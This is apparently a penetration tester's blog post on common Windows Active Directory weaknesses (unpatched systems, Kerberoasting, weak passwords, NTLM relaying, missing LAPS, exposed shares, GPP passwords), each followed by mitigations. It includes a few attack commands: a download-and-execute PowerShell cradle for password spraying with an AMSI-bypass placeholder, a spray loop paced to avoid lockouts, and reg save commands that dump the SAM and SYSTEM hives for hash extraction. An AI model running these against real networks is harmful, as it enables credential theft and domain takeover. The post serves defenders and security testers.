The most common on premises vulnerabilities & misconfigurations

In the last years my team at r-tec was confronted with many different company environments, in which we had to search for vulnerabilities and misconfigurations. For customers, who have not yet carried out regular penetration tests, we recommend in the initial step to check systems on the Internet (DMZ) as well as internal systems for the most common critical attack techniques and vulnerabilities. This can be done with a predefined number of person-days. Anything found within this period will be included in the report. This approach provides an initial overview of the most critical vulnerabilities and risks from both external and internal threats. For such initial projects, we also recommend choosing an open scope. Here, any of the client’s systems will be examined, but also any attack techniques such as social engineering via phishing mails can be used.

In this blog post I’m gonna cover the in my opinion most common findings in a Windows Active Directory environment, which can be found and abused for Privilege Escalation and Lateral Movement in such a project. It’s about on premises vulnerabilities and misconfigurations in an internal company environment as well as mitigations.

Introduction

Why the internal and on premises vulnerabilities? At one hand, I have to start with any topic and I chose this one. At the other hand Red-teaming- as well as Pentest- and Incident Response-projects have shown to us in the recent years, that gaining initial access to an internal corporate network, is in the most cases not the toughest challenge. The human factor (social engineering) plays an important role here in the most cases. So, assuming that an attacker can gain relatively straightforward access to an internal network via the internet, one relevant question for a company could be what can an attacker do in my internal network after gaining initial access?. One way to give answers to that question is via internal Pentesting. Alternatively it’s possible to test the SOC/CERT’s capabilities and efficiency with an Assumed breach Red-Teaming project. Most of the company networks we´ve seen in the recent years were still on premises or hybrid environments. That means everything was hosted at the customers side in his own Datacenter or parts of the environment were hosted in the cloud such as Azure or AWS services. Therefore the relevance of internal as well as on premises environment testing should be clear. Personally, I also believe that many companies, especially in europe will not use cloud-only environments in the future, for data privacy reasons (see General Data Protection Regulation (GDPR)). External testing or Social Engeneering may be another blog post topic for the future.

A not unsubstantial fact has resulted from our internal Pentest projects over the years: In every single engagement with an open scope starting in the client-systems network with the primary goal of checking Privilege Escalation & Lateral Movement techniques my team was able to elevate privileges to Domain Administrator rights. Compromising the Firewalls, the linux environment or SAP-systems was afterwards relatively easy with these privileges. You don’t believe me? ¯\_(ツ)_/ ¯ . This was possible in a timeframe from 10 minutes to ~3 days in the most cases, depending on the environment & found vulnerabilities. However, most of these environments had the same critical vulnerabilities and misconfigurations. Theese vulnerabilities were found in small as well as in multi billion euro company environments. In this post I will highlight them, as well as share recommendations to fix them. All vulnerabilities and techniques are already documented at various places on the internet. Those who are familiar with this topic will therefore most likely not find anything new. Enough bubbling around. Let´s actually take a look at the vulnerabilities and protection mechanisms.

Patch- & Update-Management process

This is by far the most obvious finding in my opinion. If the environment has a lacking Patch & Update-Management process, there will be single or multiple systems or applications without patches installed. No installation of security-patches leads to vulnerable software and/or systems - in the worst case, the impact is a direct takeover. Why should I care about an attacker compromising a single system? Here comes Lateral Movement and Post Exploitation into the game - I often had the situation, that the compromise of a single system led to a full Active Directory takeover. But I won´t dive into Post Exploitation or Lateral Movement this time because the post would explode.

You can find the most relevant vulnerabilities in this area by using automated vulnerability scanner software. This can be either a free software like OpenVAS or a commercial scanner like nessus. Be aware that depending on the scanner configuration some systems can get unstable or even run in a Denial of Service (DOS) state. This is simply due to the nature of a vulnerability scanner - it is sending traffic to every port and service, probes all services, tries to actively exploit vulnerabilities to find them and so on. This kind of traffic is not faced by many systems in daily life so that an overload can take place. Disabling Denial of Service modules and a proper configuration for scans can mitigate this risk.

If you never worked with a vulnerability scanner in the internal network, you will certainly be overwhelmed by the high number of findings. In addition, many findings are given a criticality that is, in my view, too high or, in some cases, too low. That makes the prioritisation for the remediation process harder. In general it’s a good idea to first remedy the vulnerabilities with the highest criticality. Most companies will have a hard time, if they try to patch everything after the first scan, because it needs too much time fixing everything that fast. If you already have some background knowledge, I’ll recommend to fix the vulnerabilities with Remote Code Execution impact and public exploits available first. Theese vulnerabilities are the ones, that can be exploited automatically by malware/script kiddies or mad employees.

The most common vulnerabilities - leading to a direct system takeover - and which should therefore be remedied with priority, are the following (No guarantee of completeness - these are the ones I have in mind right now):

There are many more easily exploitable RCE vulnerabilitites, but the above ones are the most common in my opinion. So if you are using one of those software from above - go ahead and check the latest patches.

Mitigation

This should be pretty obvious. Periodical patching and controlling is the key here.

Also - this chapter is called Patch- and Update-Management process. Patching everything one time will not help you for the future. There needs to be a process, which periodically foresees the installation of updates including the needed time for administrators. Periodic or daily/weekly scanning for new critical vulnerabilities can help you here.

Kerberoasting && AS_REP Roasting

Kerberoasting && AS-REP Roasting attacks can be used in the most company environments at least for one or more user. What is is about? Basically it’s a weakness in the kerberos protocol itself, which allows in the case of Kerberoasting any user in the domain to request a ticket for vulnerable service accounts. In the case of AS-REP Roasting any device in the network can request a ticket even without authentication. What is the impact? The ticket can, in both cases, be used to create a hash for the service accounts password, which can be cracked offline via wordlist or brute-force attacks. So in the worst case an attacker in the network is able to get cleartext credentials for the vulnerable user. Service accounts often have administrative rights at least at some systems, so for successfully cracked hashes a Privilege Escalation via this technique is possible in the most cases.

I don’t need to reinvent the wheel - my colleage @theluemmel wrote a blog post about both techniques and their differences called AS_REP Roasting vs Kerberoasting. It contains a more detailed explanation, a part about how to find vulnerable users and different tools for exploitation. I strongly recommend reading that article if you didn’t already.

Mitigation

For kerberoastable users, the only way to mitigate the risk is the usage of complex passwords. By using cryptic passwords with 20 or more characters an attacker will not be able to crack the hash. If you have users with the flag DoesNotRequirePreAuth set, which makes them AS-REP roastable, you can either set a complex password or unset this option.

In addition you can actively monitor for Kerberoasting or AS-REP Roasting activities in your network. This way, you can also identify potential attackers in your network.

Weak passwords

This is, in my opinion, one of the most important, but also for the Blue Team side often the hardest one to fix. In an Active Directory Environment, the password policy can be used to force users setting a more complex password. The problem with this password policy settings is, that only the following adjustments can be made:

In the last years I often did read about the recommendation to use eight-digit passwords with all criteria from above. Most likely companies did read the same, because the password policy in the most company environments forces eight characters with three out of the four complexity requirements.

I think, that the eight character password complexity recommendation was given due to cracking times via brute force. But already in 2019 it was easily possible to go through the whole character set of eight character passwords in a few hours. So if we go by the offline cracking speed, we would need at minimum 10 character long passwords for NTLM (several weeks to months for cracking, depending on the hardware). But is that save? Employees and the human in general is lazy in forms of choosing passwords. So passwords like Summer2021!, Winter#2020, CompanyName2021!, March2021! meet the complexity requirements with all requirements but are still weak.

We as attackers can use for example Domainpasswordspray attacks with DomainPasswordSpray.ps1 or many other public toolings to try one of the mentioned passwords against all Active Directory users. It´s as simple as:

AMSIBYPASS
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/master/DomainPasswordSpray.ps1')
Invoke-DomainPasswordSpray -Password Summer2021!

AMSIBYPASS? Take a look here.

Maybe the first level support helpdesk is using a password like Initial2021! or Start2021! for new accounts or password reset requests. Trying this password - or a slight variation of the password - will result in many compromised user-accounts. You got a lockout policy? ¯\_(ツ)_/¯ - everyone can read the values for it via for example the net accounts command from a cmd.

$words = Get-Content C:\temp\wordlist.txt
ForEach ($Word in $Words){Invoke-Domainpasswordspray -Password $word; Sleep TimeToResetLockOutCount}

Other tools like SharpSpray take the delay values as parameter. There are way too many Password-Spray tools to list them all here. Some examples are for OWA Mailsniper, Office365 (MSOLSpray), Lync (LyncSniper or SprayingToolkit) and many many more.

The point is - the Microsoft policy doesn´t restrict enough, so that weak passwords cannot be chosen. Obviously the best thing you can do for the security level is using Multi-Factor-Authentication everywhere possible. This can also include the windows domain authentication with for example token/smartcards or even the fingerprint. Many companies, however, don´t want to implement this, because of the administrative overhead and therefore the higher costs.

So, what else can we do to avoid weak passwords for user-accounts? I really like and recommend the way of password blacklisting. There are Open Source solutions like ad-password-protection or commercial solutions like Specops Password Policy. Administrators can add for example a wordlist with words that are not allowed. So the company name, names in general (family member names are often choosen with for example birthdates), Seasons, months and so on can be blacklisted. You can even integrate all HaveIBeenPwned passwords. A user could still choose Summ3r2021! which will fall in a wordlist+rule offline attack but many many user-accounts with the same password should not happen again here.

And - we need to differentiate between administrative and non-administrative accounts. For non-administrative accounts 10 characters and all requirements + password blacklisting is a good thing in my opinion. A low-privileged user may also fall, when executing malware after clicking on a link via email. From my point of view, it is only a matter of time before a single user account in a company falls or is compromised. However, it should be made as difficult as possible for an attacker to elevate privileges or gain access to various other user-account credentials.

To make privilege escalation harder administrative user-accounts should be secured by a more restrictive password policy. Administrators should be able to choose cryptic passwords with 14 or more characters for service-accounts and other administrative accounts. A secure password manager with MFA can be used for administration (Spoiler: KeePass is not a good idea here, a-case-study-in-attacking-keepass, keethief-a-case-study-in-attacking-keepass-part-2). Imagine, an attacker gets the NetNTLMV2 hash via Man-in-the-Middle attacks or retrieves the NTLM hash of an administrative account from a compromised system which wasn´t patched. It is important, that it is not possible to break the cleartext password. Lateral Movement will be easy with the password. You may ask me - what about Pass the Hash (PTH), I don’t need the cleartext password?. There is a default Active Directory group called Protected Users. If you put sensitive administrative accounts in this group, they will be secured by multiple protection mechanisms. For example, they are only allowed to use Kerberos, which disables NTLM for authentication and the accounts cannot be delegated anymore (Some words about delegation abuse are here).

Mitigations

We have several recommendations here in my opinion:

Man-in-the-Middle attacks & Relaying

There are so many blogposts about Man-in-the-Middle attacks and Relaying already. The first post I read about it was by @byt3bl33d3r called Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes) which changed my mindset and approach to internal Pentesting at that time. I did not know, that by being in the Man-in-the-Middle position for NTLM authentications it’s possible to relay the NetNTLMv2 hash for code execution or authentication in general. Thats insane. And therefore, I used Man-in-the-Middle techniques from that time on in every single internal engagement - whenever this was in scope - with awesome results. The basic principle is explained in this post so go ahead reading it if you didn’t already.

How to become Man-in-the-Middle? There are multiple ways. The most common and most used are:

How exactly can we (ab)use this Man-in-the-Middle position for Privilege Escalation and Lateral Movement? One way is trying to crack the NetNTLMv2 hashes gained from the MITM position via john or hashcat. And here we are again, at the point weak passwords, which is preventable as seen above.

The seccond technique is relaying. And again, I can refer to a blog post by my colleage @theluemmel with his post Relaying 101. I don´t need to rewrite this, so read it yourself if you want to know about it. Active Directory Integrated DNS is not written down here, so you should also read @_dirkjan’s article Beyond LLMNR/NBNS Spoofing – Exploiting Active Directory-Integrated DNS.

Mitigation

Be aware:

No Role & Authorisation Concept

Many companies abuse administrative Active Directory roles for the sake of convenience. I often found Domain Administrator groups with more than 10, 20 or even 50 user-accounts in it. The privileges from this group are only needed in build or disaster recovery scenarios according to Microsoft. There should be no day-to-day user accounts in the DA group with the exception of the built-in Administrator account for the domain . So how many Domain Administrator accounts should be there? According to that - only one! And this account should only be used on the Domain Controller. Many other of the Active Directory Privileged Accounts and Groups like DnsAdmins, Server Operators, Account Operators and so on can, when compromised, also lead to fast and easy Privilege Escalation & Lateral Movement. If we, as attackers, run

SharpHound -C All,GPOLocalGroup

to collect data and afterwards import it into our Bloodhound database to run the query Find Shortest Path to Domain Admins and the graph is too big for visualisation, we know, that the Domain Administrators are used for service accounts or daily operations, which is pretty bad. Many other AD groups can also be abused to get the highest privileges. So securing theese groups should somehow have the same priority. The following blog post by @cube0x0 lists some abuse techniques for groups like DnsAdmins, Server Operators, Backup operators and others: Poc’ing Beyond Domain Admin - Part 1

Microsoft also recommends the use of the Least-Privilege principle. So instead of for example using Domain Administrator accounts for the daily usage and administration (which I saw often by for example even the first level support) accounts should only receive local administrative permissions for those systems, where it’s nessesary.

I also really like to run ADRecon in every company environment. It has CSV-files as output but can generate a pretty nice Excel-Report containing all relevant Active Directory information needed for a review. If you want to lookup some group members or user groups its really easy and fast with filtering.

Mitigation

The process of implementing this measure may well be more difficult and complex, depending on how historically grown the environment is. Anyway, the following can be done:

No LAPS usage

The Microsoft Local Administrator Password Solution (LAPS) is a free downloadable centralized management software for local account passwords of domain joined computers. Each systems local administrator account gets an complex cryptic password assigned, which is automatically changed every 15-30 days. The passwords are stored in the Active Directory and specific users or groups can get read access to those passwords by ACL.

An attacker needs to compromise only a single system to get it’s local administrator password hash from the SAM database. This can be done with the Mimikatz command lsadump::sam, using Invoke-PowerDump or manually via cmd with


reg save hklm\sam c:\temp\sam
reg save hklm\system c:\temp\system

# Exfiltrate to a linux system and run the following:
samdump2 system sam

If no centralized local password solution is in place, the compromise of a single system can lead to a domain wide compromise in the worst case. That’s, because the local administrator will most likely have the same password on each system. An attacker can use Pass-The-Hash to compromise other systems with the extracted NTLM-Hash, or crack the password to login with the cleartext password - if that is weakly chosen.

Be aware, that by creating your own password manager solution you might run into other critical vulnerabilities. I saw companies using a self developed password manager solution, which deployed a .NET service executable on each system. The passwords were changed via this service. Decompiling the assembly via IlSpy resulted in hardcoded domain administrator credentials as well as the generation algorithm for local administrators. In other environments, I saw a centralized webserver with Powershell-scripts hosted in a directory. They were executed for the initial system setup. The scripts contained Powershell Securestrings for passwords or the algorithm for password creation. Therefore - before spending too much time in a self developed software/script, I recommend using the available solutions like LAPS.

Mitigation

Network shares && Decryptable passwords

One thing - which is depending on the environment pretty time consuming for us attackers - also leads to Privilege Escalation in many company environments. That is network shares readable or read/writeble by every domain user account. There are many public tools, which allow us attackers to search for network shares and content in it. The following are my favorite tools for that task - depending on the situation and engagement type:

Powersploits (PowerView) Find-InterestingDomainShareFile - automatically searches through the domain with a predefined filter.

Snaffler - automates the Share Enumeration and has pretty good predefined filters for sensitive files and/or contents. The only negative thing in my mind is the high CPU usage in bigger environments. The system, on which it is executed, often became unstable and the scan never ended.

Dionachs Passhunt - I’m using this most times manually for specific shares, the file extensions to search for and the filter via regex can be choosen via parameter and the HTML-report is beautiful.

Softperfect Network Scanner portable - if you are not working over a C2 server this one let`s you search through IP-ranges with an easy to use GUI. No filters, only the network share search itself. Searching the web you will find one free version - the last one before it became commercial.

What do we typically search for in those network shares?

Theese contents can be found with for example the tools above via predifined filters or with custom filters. In many cases however I’m manually reviewing many shares, because that leads to more and other results.

Mitigation

GPP-passwords

Somehow a subgroup of network shares. There are too many blog posts about this one already. Just read the following if you don’t know what it’s about:

https://adsecurity.org/?p=2288

Finding and decrypting these files is as easy as Get-GPPPassword via PowerSploit for example.

Mitigation

Credential theft hardening measures

One more thing to mention. There are two credential theft hardening measures for Windows Active Directory environments, which make life much harder for us attackers. The following two things should be enabled to protect against credential theft which can be used for PrivEsc & Lateral Movement:

  1. Enable LSA Protection: Only trusted binaries/drivers can touch the lsass process with LSA Protection enabled. This makes it harder but not impossible to dump credentials from memory.
  2. Enable Credential Guard. With this enabled we attackers cannot live dump credentials from lsass anymore. It’s still possible to add a custom SSP to live capture credentials. Or it`s possible to friendly ask the user for credentials.

Conclusion

I have decided to make a hard cut at this point. The blogpost is already quite long. I could list a few more things at this point, such as constrained/unconstrained delegation, passwords in description fields or user-attributes, MSSQL-attacks, WSUS over http and so on. Instead I’ll drop some links for further reading. So if you are in the mood for more:

The above mentioned vulnerabilities are in my opinion still the ones, that occur the most often in different environments. If all the issues mentioned here can be addressed, the next offensive security project or even an incident will certainly look better for the Blue Team as we attackers (neither good or bad intention) will have a harder time.

This blogpost is somehow different from the previous ones in terms of both content and structure. Less code & evasion techniques and more focused for the defending site. Nevertheless, I hope that both sides were able to benefit from this post. Comments and feedback is as always welcome via the channels above.

Links & Resources

If you like what I'm doing consider --> <-- or become a Patron for a coffee or beer.